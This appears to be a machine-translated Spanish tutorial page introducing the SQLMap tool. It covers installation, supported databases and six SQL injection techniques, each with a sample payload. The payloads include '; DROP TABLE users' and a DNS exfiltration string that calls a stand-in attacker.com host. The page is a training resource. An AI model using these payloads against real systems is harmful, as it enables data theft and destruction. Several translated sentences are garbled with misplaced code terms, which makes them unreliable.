SQLMap Overview
SQLMap es una herramienta gratuita y de código abierto para pruebas de penetración, escrita en Python, que automatiza la detección y explotación de vulnerabilidades de inyección SQL (SQLi). SQLMap se ha desarrollado continuamente desde 2006 y aún recibe mantenimiento.
python sqlmap.py -u 'http://inlanefreight.htb/page.php?id=5'SQLMap incluye un potente motor de detección, numerosas funciones y una amplia gama de opciones y parámetros para ajustar con precisión sus múltiples aspectos, tales como:
Conexión de destino
detección de inyección
Toma de huellas dactilares
Enumeración
Mejoramiento
Detección y elusión de la protección mediante scripts de "manipulación"
Recuperación de contenido de bases de datos
acceso al sistema de archivos
Ejecución de los comandos del sistema operativo (SO)
Instalación de SQLMap
SQLMap viene preinstalado en tu Pwnbox y en la mayoría de los sistemas operativos enfocados en seguridad. SQLMap también se encuentra en las bibliotecas de muchas distribuciones de Linux. Por ejemplo, en Debian, se puede instalar con:
sudo apt install sqlmapSi queremos instalarlo manualmente, podemos usar el siguiente comando en la terminal de Linux o en la línea de comandos de Windows:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-devDespués de eso, SQLMap se puede ejecutar con:
python sqlmap.pyBases de datos compatibles
SQLMap ofrece la mayor compatibilidad con sistemas de gestión de bases de datos (SGBD) de cualquier otra herramienta de explotación de SQL. SQLMap es totalmente compatible con los siguientes SGBD:
MySQL
Oracle
PostgreSQL
Microsoft SQL Server
SQLite
IBM DB2
Microsoft Access
Firebird
Sybase
SAP MaxDB
Informix
MariaDB
HSQLDB
CockroachDB
TiDB
MemSQL
H2
MonetDB
Apache Derby
Amazon Redshift
Vertica,Mckoi
Presto
Altibase
MimerSQL
CrateDB
Greenplum
Drizzle
Apache Ignite
Cubrid
InterSystems Cache
IRIS
eXtremeDB
FrontBase
El equipo de SQLMap también trabaja periódicamente para añadir y dar soporte a nuevos sistemas de gestión de bases de datos (DBMS).
Tipos de inyección SQL compatibles
SQLMap es la única herramienta de pruebas de penetración capaz de detectar y explotar correctamente todos los tipos conocidos de inyecciones SQLi. Los tipos de inyecciones SQL compatibles con SQLMap se muestran con el siguiente sqlmap -hhcomando:
sqlmap -hh
...SNIP...
Techniques:
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")Los caracteres técnicos BEUSTQse refieren a lo siguiente:
B: ciego basado en booleanosEBasado en erroresU: Basado en consultas de uniónSConsultas apiladasT: Ciego basado en el tiempoQConsultas en línea
Inyección SQL ciega basada en booleanos
Ejemplo de Boolean-based blind SQL Injection:
AND 1=1SQLMap explota Boolean-based blind SQL Injectionvulnerabilidades diferenciando los resultados TRUEde FALSElas consultas, recuperando así 1 byte de información por solicitud. Esta diferenciación se basa en la comparación de las respuestas del servidor para determinar si la consulta SQL devolvió un valor booleano TRUEo nulo FALSE. Esto incluye comparaciones aproximadas del contenido de la respuesta sin procesar, códigos HTTP, títulos de página, texto filtrado y otros factores.
TRUELos resultados se basan generalmente en respuestas que no presentan diferencias o presentan diferencias marginales con respecto a la respuesta habitual del servidor.FALSELos resultados se basan en respuestas que presentan diferencias sustanciales con respecto a la respuesta habitual del servidor.Boolean-based blind SQL InjectionSe considera el tipo de SQLi más común en las aplicaciones web.
Inyección SQL basada en errores
Ejemplo de Error-based SQL Injection:
AND GTID_SUBSET(@@version,0)Si los errores database management system( DBMS) se devuelven como parte de la respuesta del servidor ante problemas relacionados con la base de datos, existe la posibilidad de que se puedan usar para transmitir los resultados de las consultas solicitadas. En tales casos, se utilizan cargas útiles especializadas para el SGBD actual, dirigidas a las funciones que provocan comportamientos anómalos conocidos. SQLMap cuenta con la lista más completa de dichas cargas útiles y es compatible Error-based SQL Injectioncon los siguientes SGBD:
MySQL
PostgreSQL
Oráculo
Microsoft SQL Server
Sybase
Vértica
IBM DB2
Ave fénix
MonetDB
La SQLi basada en errores se considera más rápida que todos los demás tipos, excepto la basada en consultas UNION, porque puede recuperar una cantidad limitada (por ejemplo, 200 bytes) de datos llamados "fragmentos" a través de cada solicitud.
Consulta basada en UNION
Ejemplo de UNION query-based SQL Injection:
UNION ALL SELECT 1,@@version,3Mediante el uso de UNION, generalmente es posible extender la vulnerableconsulta original ( ) con los resultados de las sentencias inyectadas. De esta manera, si los resultados de la consulta original se muestran como parte de la respuesta, el atacante puede obtener resultados adicionales de las sentencias inyectadas dentro de la propia respuesta de la página. Este tipo de inyección SQL se considera el más rápido, ya que, en el escenario ideal, el atacante podría extraer el contenido de toda la tabla de la base de datos de interés con una sola solicitud.
Consultas apiladas
Ejemplo de Stacked Queries:
; DROP TABLE usersLa inyección simultánea de consultas SQL, también conocida como "piggy-backing", consiste en ejecutar sentencias SQL adicionales después de la consulta vulnerable. Si se requiere ejecutar sentencias que no sean consultas (por ejemplo INSERT, `INSERT` UPDATEo ` DELETECREATE`), la plataforma vulnerable debe admitir la inyección simultánea de consultas (por ejemplo, `SQLMap`, Microsoft SQL Serverque PostgreSQLla admite de forma predeterminada). SQLMap puede aprovechar estas vulnerabilidades para ejecutar sentencias que no sean consultas en funciones avanzadas (como la ejecución de comandos del sistema operativo) y para la recuperación de datos, de forma similar a los tipos de inyección SQL ciega basados en tiempo.
Inyección SQL ciega basada en tiempo
Ejemplo de Time-based blind SQL Injection:
AND 1=IF(2>1,SLEEP(5),0)El principio de Time-based blind SQL Injectiones similar al de Boolean-based blind SQL Injection, pero aquí el tiempo de respuesta se utiliza como fuente para la diferenciación entre TRUEo FALSE.
TRUELa respuesta se caracteriza generalmente por la diferencia notable en el tiempo de respuesta en comparación con la respuesta normal del servidor.FALSELa respuesta debería resultar en un tiempo de respuesta indistinguible de los tiempos de respuesta regulares.
Time-based blind SQL InjectionEs considerablemente más lento que el SQLi ciego basado en booleanos, ya que las consultas que resulten en `false` TRUEretrasarían la respuesta del servidor. Este tipo de SQLi se utiliza en casos donde Boolean-based blind SQL Injection`false` no es aplicable. Por ejemplo, si la instrucción SQL vulnerable no es una consulta (p. ej INSERT., `SELECT` UPDATEo DELETE`SELECT`), ejecutada como parte de la funcionalidad auxiliar sin afectar el proceso de renderizado de la página, se utiliza el SQLi basado en tiempo por necesidad, ya que ` Boolean-based blind SQL Injectionfalse` no funcionaría en este caso.
Consultas en línea
Ejemplo de Inline Queries:
SELECT (SELECT @@version) fromEste tipo de inyección inserta una consulta dentro de la consulta original. Esta inyección SQL es poco común, ya que requiere que la aplicación web vulnerable esté escrita de una manera específica. Sin embargo, SQLMap también admite este tipo de inyección SQL.
Inyección SQL fuera de banda
Ejemplo de Out-of-band SQL Injection:
LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\README.txt'))Este se considera uno de los tipos más avanzados de SQLi, utilizado cuando los demás tipos no son compatibles con la aplicación web vulnerable o son demasiado lentos (p. ej., SQLi ciego basado en tiempo). SQLMap admite SQLi fuera de banda mediante "exfiltración DNS", donde las consultas solicitadas se recuperan a través del tráfico DNS.
Al ejecutar SQLMap en el servidor DNS del dominio bajo control (por ejemplo, `example.com` .attacker.com), SQLMap puede realizar el ataque forzando al servidor a solicitar subdominios inexistentes (por ejemplo, `example.com` foo.attacker.com), donde foo`example.com` sería la respuesta SQL que se desea recibir. SQLMap puede entonces recopilar estas solicitudes DNS erróneas y extraer la fooparte `example.com` para formar la respuesta SQL completa.
Last updated